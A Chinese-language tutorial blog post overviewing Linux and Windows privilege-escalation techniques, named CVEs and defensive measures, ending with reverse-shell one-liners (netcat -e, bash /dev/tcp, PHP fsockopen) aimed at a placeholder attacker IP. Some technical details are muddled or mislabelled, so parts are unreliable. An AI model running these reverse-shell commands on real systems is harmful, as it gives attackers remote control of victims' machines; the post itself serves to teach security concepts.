提权原理
Linux提权
Linux提权攻击是指攻击者通过各种手段提示自己在Linux系统中的权限,从而实现对系统的控制,以下是一些常见的提权攻击思路:
- 操作系统漏洞攻击:攻击者利用已知的Linux kernel漏洞,对系统进行攻击,从而提升自己在系统中的权限。
- suid权限滥用攻击:在Linux中,一些程序和脚本具有suid权限,攻击者可以利用这些程序的漏洞,获取超级用户权限。
- 文件系统漏洞攻击:攻击者通过修改某些文件或者目录的属性或权限,从而获得系统上其他账号或服务的特权。
- 预设密码攻击:攻击者利用Linux系统中存在的默认或弱口令的账号或者服务,从而获得特权或者执行提权攻击。
- 系统配置漏洞攻击:攻击者通过修改系统某些配置文件或者设置环境变量,从而获得系统上其他账号或者服务的特权。
为了防止Linux提权攻击,需要采取一些措施,包括但不限于:
- 及时更新系统并修护漏洞。
- 使用最小特权原则,仅给必要的权限和访问。
- 检查系统中的suid和sgid程序,只允许必要的程序获得这些特权。
- 定期审查文件和目录权限,确保文件和目录的权限设置正确。
- 完善的口令策略和安全审计措施,以限制口令的选择和秘钥的分发。
- 使用安全加固工具,如selinux和AppArmor等,限制逃逸和应用程序的访问
以下是一些可能的 Windows 提权实例:
- Dirty COW(CVE-2016-5195):是一种影响大多数Linux发行版的漏洞,攻击者可利用该漏洞获取root权限。该漏洞源于内核中一个存在问题的自旋锁,可以通过使用特殊的内存映射技巧进行提取攻击,从而使攻击者能够获取root权限。
- sudo命令访问控制漏洞(CVE-2019-14287):是一种由于sudo命令的配置错误而发生的漏洞。利用该漏洞,攻击者可以绕过系统访问限制,使普通用户的权限执行具有超级用户特权的操作。
- Polkit权限提高漏洞(CVE-2018-19788):Polkit是一个在Linux和unix上广泛使用的授权框架。攻击者可以利用该漏洞成为系统的管理员,该漏洞源于对认证过程验证的不严格。
- NFS没有正确配置时的攻击:在NFS(网络文件系统)架构上访问控制配置不当,可能使攻击者能够以root用户的身份从其他系统上访问Linux服务器,以及从未授权的位置或账号获得root权限。
Window提权
Windows 提权是指通过利用操作系统中的漏洞或弱点,将一个用户的权限提高为更高特权级别(如管理员或系统权限),从而获取更多控制和访问权限。以下是一些可能的 Windows 提权实例:
- UAC 绕过: UAC(用户账户控制)是 Windows 操作系统中的一种安全特性,它可以在用户尝试进行敏感操作时提示用户显示允许/拒绝的对话框来确认,从而防止恶意软件和攻击者提高特权。然而,攻击者可以通过利用 UAC 绕过漏洞来绕过 UAC 的限制,并将用户权限提升到管理员级别。
- MS13-046 漏洞: MS13-046 是 Windows 内核中的一个漏洞,攻击者可以利用该漏洞提高用户权限,执行恶意代码或执行任意代码,从而控制计算机。
- 不安全的服务权限配置: 在 Windows 中,某些服务常规情况下运行于系统账户权限,而这些服务常规情况下只有 Administrators 组的成员才能更改其配置。如果将某些服务权限配置不当,攻击者可能会登陆并通过利用该漏洞获得提权。
- DLL 劫持: DLL 劫持是一种利用 Windows 程序搜索路径的漏洞,攻击者可以将自己的 DLL 文件放在 Windows 应用程序搜索路径中,然后替换原始 DLL 文件。这样一来,当系统加载该 DLL 文件时,攻击者就可以注入任意代码并提高用户权限。
以下是一些可能的 Windows 提权实例:
- CVE-2019-0841: 这是 Windows 系统中的一个漏洞,可以让攻击者使用低权限帐户获得高级别的访问权限,甚至是 SYSTEM 级别的权限。
- SMB 漏洞攻击:此类攻击利用了 Windows SMB (Server Message Block) 协议的漏洞,从而获取操作系统的高级别权限。
- Kerberos 选择性访问漏洞(CVE-2014-6324):这是一个 Kerberos 认证协议中的漏洞,它可以使攻击者在不知道任何用户口令的情况下,利用用户的身份验证票据,以管理员身份运行命令。
- 不安全的服务权限配置:在 Windows 中,某些服务常规情况下运行于 System 帐户权限,而这些服务常规情况下只有 Administrators 组的成员才能更改其配置。如果将某些服务权限配置不当,攻击者可能会登陆并通过利用该漏洞获得提权。
为了保障系统安全,管理员应采取以下措施:
-
及时更新系统和软件: 定期安装 Windows 系统和第三方软件的更新,以确保系统补丁已经安装。
-
运行防病毒软件: 及时安装更新的杀毒软件和其他安全软件,以保护系统免受恶意软件的攻击。
-
管理用户访问控制: 实施适当的访问控制措施,例如启用强密码策略、使用两个因素身份验证等。
-
审计和日志监控:定期审计系统和监控日志,以检测潜在的攻击并加强安全措施
反弹shell的方式
反弹shell是指在工具目标计算机后,通过一系列操作将一个交互式的shell会话连接回攻击者的计算机上。这种方法可用于远程操控计算机,获取系统权限等攻击目的。以下是几种可能的反弹shell的方式:
1. netcat
使用netcat(nc)可以快速反弹一个shell。在目标计算机上,使用以下命令将shell连接回攻击者的计算机上。需要替换IP地址和端口号为攻击者机器的实际IP地址和端口号:
nc -e /bin/bash <攻击者IP地址><端口号>
在攻击者计算机上使用以下命令监听连接:
nc -lvnp <端口号>
2. 使用Bash
在目标系统上使用Bash套接字反弹shell,将一个交互式shell连接回攻击者的终端上。在攻击者计算机上,可以使用nc监听来接收连接。使用以下命令在目标系统上反弹一个shell:
bash -c 'bash -i &>/dev/tcp/<攻击者IP地址>/<端口号> 0>&1'
在攻击者计算机上使用以下命令监听连接:
nv -lvnp <端口号>
3. PHP
在目标计算机上执行以下代码来反弹php shell。需要替换IP地址和端口号为攻击者机器的实际IP地址和端口号:
php -r '$sock=fsockopen("<攻击者IP地址>",<端口号>);exec("/bin/sh -i <&3 >&3 2>&3");'
在攻击者计算机上使用以下命令监听连接:
nv -lvnp <端口号>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?